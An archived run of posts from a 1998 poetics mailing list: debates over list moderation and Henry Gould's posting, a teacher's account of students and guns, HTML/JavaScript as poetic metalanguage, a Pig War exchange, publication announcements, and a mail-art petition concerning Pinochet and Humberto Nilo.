> building. Rising up. Or those cranes they must deploy at the construction site,
> for the high-rise or sky-scraper. Signs everywhere. "Sidewalk Closed/Please
> Cross Street." "Bus No Longer Stops Here." "Board Bus On Mt. Pleasant Street".
>
>
> What did Schumpter call capitalism? "Creative destruction"? I don't know. Just
> destruction. He was wrong. But, but the building seems to go on and on and on.
> Cities become ugly in there inhumanity. Or even ugly in their humanism. And the
> fragility of 700+ (sic) is no more than the fragility of walking across,
> through, various engineered behemoths, believing they will hold our weight, with
> moderators, and moderation, Believing, That, engineering and maybe even physics

> are on our side.
>
> mc
>

In a Station of the Metro

The apparition of these faces in the crowd:
Ron Silliman, David Bromige, Rae Armantrout.

Wystan

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123. J Kuszai
fuck guns & where to go from here [long post]
Thu 3 Dec 1998

Dear Listers,

as many of you know, I have been researching in the Archive for New Poetry, and I am preparing number of projects out of material stored there. As I am doing this, I have treated myself to reading around in various archives, including Lyn Hejinian's, Mac Low, and the papers and recordings of Paul Blackburn. The recently acquired Bernadette Mayer papers are still in-cataloging (or so Stephen Cope tells me), but I can't wait to look at what is there, and to read the many years of dedicated writerly (& teacherly)-ness that her archive represents.

[pardon the long digression : there will be some reward at the end]

What I am getting to is somewhat complicated, and is bound-up in my own sense of the troublesome nature of this list, my relationship to it (as lurker, sometimes contributor, and as "burrocrat" in the unfortunate position of managing the daily comings and going--and on that note, Michael Coffey, your server is bouncing every poetics list message and you may want to review the poetics archive to see the hoopula of the last 24 hours or so)))ANYHOW(((my point, if I can return to it is that I do as well infact appreciate the dynamic nature of this list, even as down low as it may at times go. If I get frustrated about that, it may be due to the deterioriating quality of my own life, living so far from the civilization I once knew. The arguments for "sorting through and deleting at will the inanity of the list" to find the nuggets of golden bedraggled friendliness, sharp-witted argumentativeness, yaYaYa, this argument falls on partially deafened ears. It comes down for me to the question, what kind of world do I want to live in, what kind of world do I want to help make, and what can I do to advance the goodness that I need to see in the world in order to continue in it. You may snicker and think that I am being all peachy, preachy, or cheeky. I'm not.

Yesterday I asked my classes if they had ever killed anyone. (We had been talking about gun control laws--most of my students, even the ones I like and think to be "progressive" are ardent gun freaks, not to mention the kid who raises chickens to fight, a real-live cockfighter, if you will pardon the expression) I was surprised in one class when a vietnam veteran rose his hand and mentioned that he had served. While I have many vets at the CCs where I teach, he is the only one to have seen active combat. After discussing what it was like to live in combat--and the students were never more attentive than when this man spoke. He later told me that he had never told anyone what he had told the class, and he seemed amazed at having done so. Then, after a 20 minute commute, fighting the "inanity" of freeway traffic, etc., I asked another class of somewhat younger students the same question. Here I learned that one boy had held a friend who died quaking in his arms after a drive-by; another guy (active Navy) described two shooting incidents where he was the shooter (on the so-called streets). When reminded by a classmate that the question was whether or not he had killed anyone, he finished one of the stories with an "I don't know" if any the bullets he had sprayed the playground with had inflicted deadly damage. Rather than do time for the first story's offense, (the second in terms of chronology), this guy was given the opportunity to enlist, and he now serves at the North Island Naval Facility in San Diego. The point of this story--which has to be told if anyone is to understand my growing impatience with this list (an impatience, it seems, that few people share)--is that even after hearing of these incidents, many of the students, including the lovely boy who held his friend as he died, many, nay, nearly all of them were in unanimous support of the RIGHT TO BEAR ARMS and they all, the faithful servants of the constitution that they are, recited some talk-show version of the 2nd Amendment. They told me that you had to have protection. Anyhow- the conversation went on. We talked about many things. Many of their arguments were like arguments for the "self-moderation" many people want to see on this list. If everyone is packing, and we're all coming to the table free & equal, then the sense that we'll all control ourselves will win out.

I can accept this vision of things-- and I admire the good-natured vision of the world it promotes. But I am not sure if this is a world I can live in, finally.

Perhaps my complex emotional state makes any coherent conversation about these issues more difficult than I had first thought. And unlike many people on this list, I prefer longer, more developed and sustained "arguments" rather than little lunchtime quips. While both are easily deleted with equal force, the sustained attention required by longer posts and more complex argumentation (even if flawed, or failed), this attention is the activity that draws me to the list. Granted there is much information that is exchanged--and it is my lifeline. What are people doing? what do they want to know? what is happening?. I have

several research questions I would like to ask the group, and if I can ever get out of these paragraphs, I will. But for me, and perhaps it is only me (I can no longer see the trees for the forest)--I need the more developed exchange of essayistic presentation. Is there another list out there with similar interests requiring that kind of level of participation? It seems that this list is for many people a kind of infotainment. While I don't want to take that away from anyone, as Roger Farr so eloquently entreated me earlier, I think it may be time for me to move on and look for other pastures to graze in, other cows with which to chew and moo. So, on that note, if someone could privately (backchannel) me with information about other poetics lists (and I am always surprised to hear about the number of limited,private ones out there) I would be eternally grateful.

If you have made it this far, I am sorry to have victimized you with the above melancholy meandering, you are in it for the whole-hog haul. [the 5th caller to send a note with the words "happy new year bubby & moby" in the subject line to [redacted] will receive a Meow Press luv-pak of newerish books]

It seems to me that much of what this list can achive has been alluded to by people earlier today, so I won't reiterate that here. But I must say that I think that it can be an extension of the real, and as has been suggested privately, perhaps there should be some kind of meeting of this particular tribe. I look forward to the Page Mothers conference to discuss some very important writers, such as Rae, Fanny, Lyn and Leslie, Laura, and Bernadette, among others, I think (sorry if I'm leaving anyone out). And I think that this space can act as a kind of electronic (not virtual) conference space. Like Kinsella's featuring of poets at his poetryetc list, I suggest that we begin a series of discussions in advance of the conference scheduled for March 1999 dedicated to those writers. I don't know if Linda Russo is still on this list: her name appears in the review-list, but like many of th 666 people on this list, I would suuspect that she is actually set to nomail. In any case, Linda's research into women editors of poetry magazines is one of the more exciting projects I can think of and I would love to hear a status report if possible. I mention the possible "conference effect" of this list to suggest A) something for us to talk about in a constructive way (and given that, in my opinion, women writers have produced some of the most important writing and community development actions since 1968--including the recent Bay Area magazines Lipstick and Outlet which I just received--such a discussion of these writers and editors could bear importantly on what sense we make of this current climate of which the p-list is only a small part) and B) such a discussion could provide for a model of civic/list behavior. And if we think of the list as a conference, someone grabbing the mic (whether it is coolio hipster Rbt Duncan, or coolio hpster Henry G) would be completely scandalous and inappropriate. So-- that is my suggestion. And my suggestion, that we discuss these writers--in advance of an already scheduled conference here at UCSD-- is

only one suggestion. The subject line could be used to announce the writer under discussion & whether it is a reply or an advancing of a "reading" or whatnot. Ok, that's it.

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124. Karen Kelley
Re: 666
Thu 3 Dec 1998

I rather like this sort of post; it's like listening to your friends when they're feeling silly. Of course, if you're in a bad mood, they seem irritating, but then, if you're in a bad mood, you probably shouldn't have come to the party (so just delete).

And I have never heard Henry say anything mean-spirited, nor do I think his silence will induce lurkers to come forward.

daniel bouchard wrote:

> *700 Club debunked.*
>
> *668- (minus) 3 Ron Sillimans (plus one RS) = the Buffalo List, or Satan.*
>
> *It means the Poetics list is The Beast, and Henry is the whore of Babylon.*
>
> *ha. ha.*
>
> *(This is the kind of stupid e-mail that I should have back-channeled to Jordan, but send here*
> *to prove a point. It is called fluff.*
>
> *Or fluff-E.*
>
> *Now do as I say, not as I do-- no more fluff-E.*
>
> *Jordan wrote:*
>
> *Not to interrupt the end of the world, but where'd anybody get this "700" club idea of the list? Looking at the subscriber list, I see 668 names, --*
>
> *with RON SILLIMAN SUBSCRIBED THREE TIMES!!!*
>
> *I mean you know what this means don't you????????*
>
> *J*
> *<<<<<<>>>>>>>>>>>>>>>>>>*
> *Daniel Bouchard*
> *The MIT Press Journals*

> *Five Cambridge Center*
> *Cambridge, MA 02142*
>
> [redacted]
> *phone:* [redacted]
> *fax:* [redacted]
> *<<<<<<<<<<<<<<<*

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125. **Joe Brennan**

Fwd: New Fraentzki

Thu 3 Dec 1998

This is a multi-part message in MIME format.

--part0_912737831_boundary

--part0_912737831_boundary

air-zb01.mail.aol.com (v53.17) with SMTP; Thu, 03 Dec 1998 14:05:11 -0500
[128.143.200.198])
by rly-zb03.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with ESMTP id OAA29083;
Thu, 3 Dec 1998 14:05:07 -0500 (EST)
NAA44949 for heidegger-outgoing; Thu, 3 Dec 1998 13:53:48 -0500
[redacted] using -f
lists.village.virginia.edu (8.8.5/8.6.6) with SMTP id NAA76433 for
<[redacted]>; Thu, 3 Dec 1998 13:53:43 -0500
by mailout05.btx.dtag.de with smtp
id 0zlc9K-0000Am-00; Thu, 3 Dec 1998 18:02:42 +0100
by fwd02.btx.dtag.de
id <m0zlc90-0004tVC>; Thu, 3 Dec 1998 18:02:22 +0100
Date: Thu, 3 Dec 1998 18:02:22 +0100
To: [redacted]
References: <4$[redacted]>
<[redacted]>
Subject: New Fraentzki
From: [redacted] (Michael Eldred)

Cologne, 03 December 1998

Something for readers of German (in particular, Henk):

The second part of Fraentzki's magnum opus is now out and available from Verlag J.H. Roell (e-mail: [redacted]) or via the book tr= ade.

=09Ekkehard Fraentzki
=09Daseinsontologie
=09Zweites Hauptstueck: Vom Wesen der Wahrheit
=091998 166 pp.
=09ISBN 3-89754-130-0

Another characteristic examplar of inimitable Fraentzkian lucidity and Ger=
man
Bierernst.

Michael _-_-_-_-_-_-_-_-_-_- artefact text and translation _-_-_-_-_-_-_-_-_-_- _-_-_-_-_-_-_-_-_-_

graphical), it seems to me of service namely as a metalanguage. Metalanguages, however, are an exciting possibility (or even existing component) in poetry. HTML and by extension DHTML are subsets of an even more heinous beast: SGML. The idea of SGML was to break down the "objects" of a typical published work and identify them so they could be manipulated individually. Such identification is accomplished by surrounding the "object" (say a title, chapter head, or footnote) with code. The code itself is further defined by "attributes" that affect the direction, positioning, size, orientation, etc., of the objects they define. In SGML a separate document (sometimes called a program) is required to hold the attributes of the objects. When the coded document is put through the seive of the attributes document/program, voila! a formatted text appears. Now in HTML and DHTML the attributes are themselves part of the identification process and thus a part of the code. A browser such as Netscape is used to parse the codes, apply the attributes, and assemble the objects. The D in front of HTML simply stands for "dynamic." You can make things ("objects") move. Of course, with AOL (which doesn't yet understand version 4.0 of the HTML international standard) you can't view the "D" in the DHTML (unfortunately my current version of Netscape doesn't seem to understand it either).

The enigma n site also uses another language Javascript (not to be confused with Java, which is full-fledged programming language). The Javascript, which incidentally has errors in it, speaks back and forth with (D)HTML and provides additional functionality to a browser (such as Netscape.) The proliferation of languages and scripts goes on and on. If there is a microkernel of truth in all of it for use in poetry...again, I think it boils down to a metalanguage in a language. These are clearly examples in our real world now. What if anything can be made of this?

Bob

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128. A. Jenn Sondheim
Re: Infoanimism
Fri 4 Dec 1998

There are a lot of javascript texts online at this point; it's useful, be- cause it doesn't depend on the downloading of applets. And the older ver- sions of html are in some ways more advanced/interesting than the newer ones, since it was billed as a _semantic_ markup language that would med- iate between your browser/window/computer properties and the page itself - type occupying different widths and styles depending on the window size you've set, etc. It was fluid. The recent html versions and the use of style sheets transform the page

more into an _object,_ dynamic or not, controlled by the author (push technology in a way).

What's interesting about javascript is that it lives in the page that's delivered, unlike perl or java. You generally can see the script itself with the view option in the browser.

It's very difficult to talk of languages/metalanguages or form/content, I think with all of this. I've written about this a lot - what I call on occasion the porousness of languages. For example, perl can run at a shell prompt, call up shell programs, write or read shell programs - all of the languages including scripting languages can reference each other, pass information back and forth. What's base and what's meta is problematic. There are markers you can use, for example saying that everything between < and > is meta, and that will hold for the most part - at least the browser will try and interpret it. But when you get into more elaborate areas, the distinction blurs - look at www.jodi.org which places some of the 'relevant' (my word) content as invisible comments - you've got to use the view command to see it. (That's also true of some of my black on black pages.)

Alan

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129. Elizabeth Treadwell
fuck guns
Fri 4 Dec 1998

I am here to respond to Joel publickly! I too have felt frustrated with the list, too frustrated to say anything, in fact (I appreciate Joe's comments about people who don't speak, not that I'm yr cybervictim, no way in hell, thank you). Time feels very precious and easily wasted, and I don't want to spend it at a party with all these boys who like to talk a LOT. (You know who you are.) Excuse my extreme left handed feminist pull on the carstool. Though that said I certainly have appreciated mentions here of my work writing and editing, which have been made by two of the male persuasion, Joel and Standard Schaefer. I would especially like the conversation to be more thoughtful, essayish, and most importantly about topics that feel IMPORTANT (compelling, generative ? -- oh excuse me!) to me. Such as occurs in my small reading/writing group here in the Bay Area, where we read a book superclosely, and yes, sometimes get in entanglements. I am hungry for places to discuss writing, but much of what happens here is to me a mess. I have had many a backchannel complaint from gal pals as well as guy pals. I don't like to listen to anyone who talks as much as Henry. Sorry to be honest.

Perhaps I'll go curl up with Vogue and my dear sig other,

Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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130. Jim Andrews
Re: Infoanimism
Fri 4 Dec 1998

Bill,

I'm told that W.C. Williams said something like 'A poem is a machine made out of words.' It's odd to think it so, given the utterly human nature of many poems. Yet there is a sense in which it's true: language itself is surely a technology insofar as it is a tool made by people; our tools and technologies are not dumb and lifeless externalities that we pick up at need to do a job; instead, they often are truly extensions of ourselves: extensions of our minds and feelings and imaginations (language); extensions of our eyes (electron and radio telescopes); extensions of our memory (books); extensions of our voices (telephones); etc. Poets are familiar with the odd feeling of seeing their poems in type, particularly in something as apparently external as a book or magazine; it's as though a part of themselves had somehow been transferred by machines to the external and other. There they are, our silent running soul devices.

In a sense, I have just rewritten my little essay Infoanimism in a different context. Even the nature of the printed document needs re-examination. We freak out about machines and say they are no part of us but the truth of the matter is quite different. It is apparently ironic that we use machines to convey our humanity, but the irony is only apparent when we acknowledge the ghost in the machine and acknowledge also that we made the machine for the ghost to travel in. Subtle ghost in there with "the popular languages of commerce and company xmas parties" you mention, lovely graceful ghost.

Whether a poem is spoken or written or uses dhtml, as I am amused to do these days, it is, in the above way, a machine made out of words. Dhtml poems highlight this dramatically.

The neath text is to some forbiddingly technical and automated. Yet the ghostie may appreciate it, the ghostie neath and above and around the neath text.

Infoanimism is at
http://speakeasy.org/~jandrews/vispo/EnigmanInfoanimism.html and links to Enigma n. The link you provided to Enigma n is actually a link to only the Internet Explorer version, Bill, but thank you anyway.

:)
Jim

↑ Index

131. George Bowering
Re: quick history
Fri 4 Dec 1998

> *Free Henry Gould*

Oh, bad timing! I paid $25 just a month ago.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

132. George Bowering
Re: pig wars and other truffle-snuffling battles
Fri 4 Dec 1998

> *Now, when you talk about Orcas, you're talking about the trees some of my ancestors fell out of. The San Juan islands haven't been Brit since the resolution of the Pig War (an altercation worthy of the POETICS list) in 1872. My great-grandparents, John Loudon Gow and Emilie Harding, both of Orcas, would have looked unkindly on any suggestion that they curtsy before Lord Bow'ring.*
>
> *Rachel Loden*

That is a little odd, that coincidence. Happens that I gave a swift and sure account of the Pig War in my book _Bowering's B.C._ , Viking 1996, Penguin 1997. But it took place just on San Juan Island. Some crummy Kraut was the arbitrator and gave the island to the Yanks years later.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

133. Rachel Loden

delete if not interested in arcane arguments re: pig wars and other truffle-snuffling battles

Fri 4 Dec 1998

George, just to defend my honor, since it is clearly under siege (I guess Brom was right when he said your dad was a schoolteacher). If you'll reread my post you'll notice I do not say that the Pig War took place on Orcas Island. I don't say where it *did* take place, sensing somehow that this is not a matter of great fascination for the P-list.

There are 172 named islands in the San Juan archipelago, San Juan and Orcas being two of the largest. The point is that the line drawn by Kaiser Willie gave all of them to the US (thus my statement that they haven't been British since the *resolution* of the war in 1872). Kapish? I don't say it was right but that's how the colonial cookie crumbles.

The war itself took place in 1859. Witnesses to all this stupidity were the Lummi Indians, some of whom were still living traditionally on Orcas when my mother grew up.

Sorry to bore everyone, and slipping into deep lurk,

Rachel

George Bowering wrote:
>
> >Now, when you talk about Orcas, you're talking about the trees some of
> >my ancestors fell out of. The San Juan islands haven't been Brit since
> >the resolution of the Pig War (an altercation worthy of the POETICS
> >list) in 1872. My great-grandparents, John Loudon Gow and Emilie
> >Harding, both of Orcas, would have looked unkindly on any suggestion
> >that they curtsy before Lord Bow'ring.
> >
> >Rachel Loden
>
> That is a little odd, that coincidence. Happens that I gave a swift and
> sure account of the Pig War in my book _Bowering's B.C._ , Viking 1996,
> Penguin 1997. But it took place just on San Juan Island. Some crummy Kraut
> was the arbitrator and gave the island to the Yanks years later.
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,

> Canada V6M 1P4
>
> fax: [redacted]

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134. Randy Prunty
David Todd and Dirigible
Fri 4 Dec 1998

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anybody know what's up with the mag Dirigible? anybody have a current address for David Todd? email or snail ok.

please back channel

Randy

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135. miekal and
Avant Writing Collection
Fri 4 Dec 1998

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from John Bennett:

"I am developing a new collection here of Avant Writing, and you are one of the people I have on my list to contact. The collection is a kind of outgrowth of the extensive archive of William Burroughs' papers that were donated to this library (parts of which I have been cataloguing). As Bob (Grumman) suggested, my budget for starting this is miniscule, so I have indeed been asking people for donations of material. So anything of yours, and anything from your various publishing activities would be most welcome indeed, and would be very much at the center of what I'm trying to build here. Basically I'm collecting innovative and experimental work that is not to be found in most libraries, bookstores, and this is generally ignorred by the established institutions, but that I believe is the most important and exciting writing being done. I am convinced that this material will be recognized and valued for what it is in the future, and this collection will provide a valuable resource for future scholars and readers. As will the collections of SUNY Buffalo and Marvin & Ruth Sackner.

And yes, by all means, please add my name and address to your list of archives. You can add anything you think significant from the above as a note, emphasizing that we are accepting donations of materials in the areas of innovative and experimental writing and poetry, visual poetry, audio poetry and related materials - books, broadsides, ephemera, serials, etc.

Use this address:

John Bennett; Curator
Avant Writing Collection;
Rare Books and Manuscripts;
University Libraries;
Ohio State University;
1859 Neil Ave. Mall
Columbus, OH 43210-1286

I do have email ([redacted]) but am somewhat limited in what I can do with it due to a visual disability. I can print out and read messages, however and make brief responses. I much prefer to work through snail mail. I've enclosed my website address - my son (Squid) set it up and manages it. "

JOHN BENNETT'S WEBSITE
http://www.geocities.com/Pipeline/4848/lbp.html

↑ Index

136. miekal and
Re: quick history
Fri 4 Dec 1998

Its surely a study in poetic consciousness to note how a thread which originally started by asking the date the atom was split has turned into missives from the chairman of the Free Henry Gould Committee. Tho I must admit that everytime I write one of these short posts now I feel self-conscious (& those who know me, know that is an achievement) & have this mental image of someone else out there unsubscribing because of it. Is this the hive mentality devolving into spit-fire anarchy?

Rasputin Zukofsky

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137. Jim Bennett
Re: Troubling Posts, Insults, and Childishness
Fri 4 Dec 1998

Mairead Byrne wrote;

It seems to me that a lot of the current problems on this list are caused by those very same poets whom you indulgently call human beings. Do they know the difference between poetry and poetics, I ask myself. Would it be possible, in the interests of moderation, to ask subscribers to identify themselves, to the closest possible denominator, as either poets or poeticists: or at least to make a confirmed choice. I for one would be all for gagging the poets. Troublemakers.

I agree with the sentiments expressed - but could we add editors to the list as a sub (human) group (species) together with agents and critics - perhaps they could be placed in a special list of their own while the nice poets discuss (or argue) in peace about important maters of poetry which editors especially would have no interest or specialist knowledge. (Only problem I suppose is that most poets at some point get to do some editing or write criticisms) Oh well its a nice thought.

Jim

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

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138. Gary Sullivan
Rain Taxi Vol. 3 No. 4
Fri 4 Dec 1998

The new issue's available

Featuring: Interview with Anne Waldman by Eric Lorberer; an essay on Mary Butts by Carolyn Kuebler; interview with Harry Mathews (attributed to "Rain Taxi," so probably eds. Kuebler, Lorberer & Randall Heath); essay on the Oulipo by Marc Lowenthal; a profile on Nazraeli Press by Eric Lorberer; "Sortilege: On Mary Caponegro" by Rikki Ducornet; Samuel Delany on Vincent Czyz's _Adrift in a Vanishing City_; "Colin Wilson Watch," by Kelly Everding; reviews of new books by William Gass (David Auerbach), Ellen Gilghrist & June Spence (Lucinda Ebersole), Umberto Eco (Jason Kuykendall), Franz Wright (Brett Ralph), Kenward Elmslie (Gary Sullivan), Donald Revell (Brian Beatty), Susan Wheeler (Juliet Patterson), Joshua Beckman (S.P. Healey), Lorca (Frank Johnson), David Lehman (Chris Fischbach), R. Crumb (Chase Madar), Christopher Sawyer-Laucanno (Mark Terrill, Merrill Gilfillan (Paul Bogard), Gerald Vizenor, Paula Gunn Allen and Diane Glancy (Heid Erdrich), Brian Evenson (Xandra Coe); the next "New Life" cartoon installment by yours truly . . . and much, much more.

Subscribe already! 'Scheap! $10 (domestic), $20 (international) for four issues!

Rain Taxi
P.O. Box 3840
Minneapolis, MN 55403

As per usual, I have copies I'd be glad to send out to those of you who can't afford subscriptions. Just lemme know (backchannel, please, I'm on "nomail" for a bit).

Thanks,

Gary

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139. Christina Fairbank Chirot
poets/troublemakers/Chile (a fwd)
Fri 4 Dec 1998

(from dave baptiste chirot)

on 3 december 98 Mairead Byrne ended a post by demanding identification as poet or poeticist and noted: "I for one would be all for gagging the poets. Troublemakers."

This made me think of a brief autobiographical poem by the great English visual/sound poet and performer Bob Cobbing (who does indeed go about "sockless in sandals"):

IF HE KNEW WHAT HE WAS DOING, HE WOULD DO IT BETTER !

Sockless in sandals,
gibbering his wares
in unintelligible shrieks and hisses,
a 'poet' merely disrupts
the solid, sensible business
of the night.

the people hear gibberish;
Poets! how can nothing be said
with all that noise?

below a post re activites regarding the intertwined cases of Humberto Nilo and Pincohet. Included are email addresses to send in your support. Those interested may backchannel--or I cd fwd to the list if so invited--an day-by-day update of all the activities since this particular post, as well as what the now second stage projects are for AU MA + GOM

UA+MA
URGENT ACTION OF MAIL ART

GOM@(Global Organization of Mail Artists)

November, 26, 1998

Pinochet, the justice and Humberto Nilo

Approximately a year ago, the Director and Academic of the Arts School of the University from Chile, Humberto Nilo Saavedra, promoted a Mail Art call to please the freedom in education for the arts. Months later, he was expelled from his chair. The dictatorship continued operating. Now, the ex-dictator and Chilean life senator, Augusto Pinochet, has been arrested . In such an unexpected way, he is in the custody of the court in England as a result of the request for extradition from a Spanish judge, Baltasar GarzÃ³n. The charges are for more than 90 crimes of genocide, international terrorism and tortures. Faced with the danger that the process can be stopped by Spanish reactionary forces, we asked for solidarity to all the mail artists for justice to be strictly applied.

The group AU MA+gom@ (Urgent Action â€“ Mail Art), consider the first stage of this project to be closed, once achieved that both Spanish and English Court sentenced the ex-dictator and Chilean life senator, Augusto Pinochet, must to be put in trial for crimes of genocide, international terrorism and torture.

For these crimes, Pinochet was requested by the laws of several countries (Spain, France, Germany, Switzerland...and others). The extradition proceedings will take time. However, we consider the precedent established will make possible to be optimists about the make up of an International Court to fight the crimes against humanity.

On the other hand, our campaign was mainly aimed at Mail Art world, even thought a lot of people from another circles did identify with our call. In that respect, we want to declare that our report of the case of Humberto Nilo -ex Director of the University of Chileâ€™s Fine Art School, who was dimissed from his position after the organization of the Mail Art exhibition "Stop: liberty, diversity and pluralism"- is still not solved. Because this reason, we will continue making all efforts to give him back his position.

Adhesion to the list: [redacted] subject: adhesion Participate in future actions of GOM@ : [redacted] subject: member

Pinochet, la justicia y Humberto Nilo

Hace aproximadamente un aÃ±o, el profesor de BB.AA. de la Universidad de Chile, Humberto Nilo Saavedra, promovÃa una convocatoria de Mail Art en favor de la libertad de enseÃ±anza para las artes. Unos meses despuÃ©s, era expulsado de su cÃ¡tedra. La dictadura seguÃa operando. Ahora ha sido detenido el ex-dictador y senador vitalicio chileno, Augusto Pinochet. De la manera mÃ¡s insospechada ha quedado bajo custodia en Inglaterra ante la peticiÃ³n de extradiciÃ³n de un juez espaÃ±ol, Baltasar GarzÃ³n. La acusaciÃ³n es de mÃ¡s de 90 delitos por genocidio, terrorismo internacional y tortura. Ante el peligro de

que el proceso sea detenido por fuerzas reaccionarias espaÃ±olas, solicitamos a todos los mail artistas su solidaridad para que la justicia se aplique con todo rigor.

EL COLECTIVO AU MA+gom@ (AcciÃ³n Urgente - OrganizaciÃ³n Mundial del Mail Art), da por concluida la primera etapa de este proceso, una vez conseguido que tanto los tribunales espaÃ±oles como los ingleses hayan sentenciado que el ex-dictador Chileno y senador vitalicio Augusto Pinochet, debe ser juzgado por los mÃºltiples crimenes de genocidio, terrorismo internacional y tortura. Delitos cuyo procesamiento ha sido solicitado por diversos paÃses.(EspaÃ±a, Francia, Alemania, Suiza...) El proceso de extradiciÃ³n, probablemente serÃ¡ largo. Pero consideramos que a partir de estos momentos, el precedente sentado permitirÃ¡ contemplar con nuevas perspectivas la formaciÃ³n de un Tribunal Internacional para combatir los crÃmenes contra la humanidad. Por otro lado, nuestro manifiesto iba dirigido al universo del Mail Art, que es donde nos movemos. Bien es cierto que al mismo se han sumado otras personas y colectivos que se han identificado con nuestro llamamiento. En este sentido, queremos dejar constancia de que nuestra denuncia por el caso del ex-Director de Bellas Artes de la Universidad de Chile, Humberto Nilo, expulsado de su cÃ¡tedra despuÃ©s de organizar una covocatoria de Mail Art por "La Libertad en la EnseÃ±anza de las Artes", no ha sido solucionado. Es por ello que proseguiremos en nuestro esfuerzo para que le sea restituido su cargo.

Adhesiones a la lista a: [redacted] subject: adhesion Participa en futuras acciones de GOM@: [redacted] subject: member

More than 300 Signatures/Firmas until/hasta 25 November 1998:

A Cova da Terra
Abel Figueras
Abraham Vecina GutiÃ©rrez
AG(+A)e-1
Agurrak
Aiolidiggi
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Alejandro BeltrÃ¡n
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Helen Karasavidou
Hilda Paz
Hugo Pontes
Hugo Sil
Humberto Nilo
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New Jazz
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Norberto JosÃ© MartÃnez
Norma Morandini
Nuria NoguÃ©s
Ozgur Uckan
P.O.Box
Paloma Mateos
Paloma Porras

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Pascal Lenoir
Pascale Follard
Pat Binder
Patricia Salas
Patxi
Paulo Condini
Pedro Custodio
Pedro Meyer
Pere MoratÃ³
Pere Sousa - Merz Mail
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Pete Spence
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Simona
Simone Rondelet
Sugar Irmer
Susanne Kunkele
Taller del Sol
Tamara Stuby
Tartarugo
Teresinha Pereira
The GastronomÃa of the Mediterraneo
Therese Ectors
Thierry Merger
Transforma
Unai Reglero
Vagner T.S.
Vanessa HernÃ¡ndez
Veha Abrahamsberg
Veterinarios sin fronteras
Viktor Todorovick
Viola Siruthairath
Vittore Baroni
Viviana Sasso
VÃ³rtice
www.crosses.net
Xabier Idoate
Xavier Moreno
Xer
Xtof Bruneel
Xurxo Estevez
Zaida Reverter

Read more about GOM@ and
the memory of our action Pinochet, Justice and Humberto Nilo on:

http://www.teleline.es/personal/tartarug
http://www.fut.es/~boek/Nilo.htm
http://www.crosses.net/nilo/
http://www.geocities.com/SoHo/Workshop/6345/justicia/auma.htm

please send your cross
http://www.crosses.net

Hans Braumueller
Licenciado en Artes Plasticas
Osterstrasse 98
20259 Hamburg
Germany

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140. Joe Brennan
free charles
Fri 4 Dec 1998

I object to the censorship being imposed on henry for allegedly posting too frequently, even though he stays within the daily limit of 5, and on gabriel for the quality of his "content," a word that more than smacks of exclusionary elitism. as a matter of fact, I often enjoy reading henry's posts -- and his commitment to, and passion for, art is, from my point of view, beyond question. as for the content issue, there are certainly more trivial remarks posted everyday than anything that gabriel has posted. to single out these two poets seems to me to be wrongheaded, whatever the rationale. much more obnoxious is the assumption that anyone, solely because of proprietary interests, should take it upon themselves to arbitrarily restrict either the frequency or quality of the work of other list members without anything resembling due process. those who advocate freeing henry, gabriel & kent johnson have it wrong -- we need to free charles and his clones from the mistaken assumption that exclusion and censorship are the appropriate responses to what are essentially political and aesthetic differences.

joe brennan

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141. Gabriel Gudding
Re: skewer & love of this list
Fri 4 Dec 1998

My Dear Sir I cannot forward yr post below as I have received from Bernstein a note from his twelve lawyers via fax late late last night, waking me, the printing of which fax was so greatly jangling and rattling for some reason, as if vile counsel's words were actually BUMPY. Couldn't believe roaring threats. anyway upshot is (1) the "pressure" lastly mentioned yesta'day in hasty

subterranean note to Gould was my own leaden chagrin at having fuckeditup, story of my life, Secondly I think the tree outside my window to the right is about to pop into bloom you should see this thing, birds billeted all over it, fuck-a-duck. Fourth, I sick all stinking apologies to this list as if it were a delicate thing: if it's going to die let it die, but i say we don't kill it by apologizing and as parceilli wrt 'handranging" not kill it. And ninthly CERTAINLY let's not kill the vitality of it, for what brought the stupid gaga to list was henry's messages, posts of genius, & good lord i LOVE this list and what i learn from it and what PRAXIS of OPEN THINKING it gives me and how i am eternally GRATEFUL for this COMMUNITY buffalo PROVIDES, its BOUNTY, the buffalo BOINKY OF BOUNTY, the furthermore and tenth and lastly I cannot post but a "few" times a week, so I'm waiting until tomorrow when I will post a Violent Bomb of Words which will beckon wrath of ALL in the goddamn name of WAKEY-UPPEY, at which action List will be restored to former Henry state of affairs, this being the terminal action of my own soldiering, whence i will with dainty personal decency begin again my own annoying postings of hack and drama. yours with weapons of pewter & foil, GAGA

On Thu, 3 Dec 1998, henry wrote:

> *brutha, be cool...*
> *'preciate what ya doin f'me....*
> *ya wanna pologize f'both of us, sokay by me...*
>
> *why doan ya write in & clarify it wuz from Huffy in a huffy mood & promises*
> *to be the LAST stealth bomb to the list... tellem we bot' love da list an*
> *all its peoples & Henrah sez he will bide by what he hears & try seriously*
> *man to clam the jam fo while... let sumbuddy else talks f'while...*
>
> *why doan ya forwars dis one...*
>
> *sorry, brutha, f' the heavy pressure - ain't yo fault, s'mine...*
>
> *- Henrah*

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142. **Michael Magee**
Re: free charles
Fri 4 Dec 1998

Excuse my fogginess on this issue but, has Henry actually been banned from posting on the list? If so, this seems absolutely outrageous to me! Joe's sentiment that "Henry's commitment to, and passion for, art is, from my point of view, beyond question" is absolutely true and quite pertinent. I've rassled with

him as much as anyone but the idea that we would somehow keep him from posting really disgusts me. I hope I've got this wrong. -Mike.

According to Joe Brennan: >
> I object to the censorship being imposed on henry for allegedly posting too
> frequently, even though he stays within the daily limit of 5, and on gabriel
> for the quality of his "content," a word that more than smacks of exclusionary
> elitism. as a matter of fact, I often enjoy reading henry's posts -- and his
> commitment to, and passion for, art is, from my point of view, beyond
> question. as for the content issue, there are certainly more trivial remarks
> posted everyday than anything that gabriel has posted. to single out these
> two poets seems to me to be wrongheaded, whatever the rationale. much
more
> obnoxious is the assumption that anyone, solely because of proprietary
> interests, should take it upon themselves to arbitrarily restrict either the
> frequency or quality of the work of other list members without anything
> resembling due process. those who advocate freeing henry, gabriel & kent
> johnson have it wrong -- we need to free charles and his clones from the
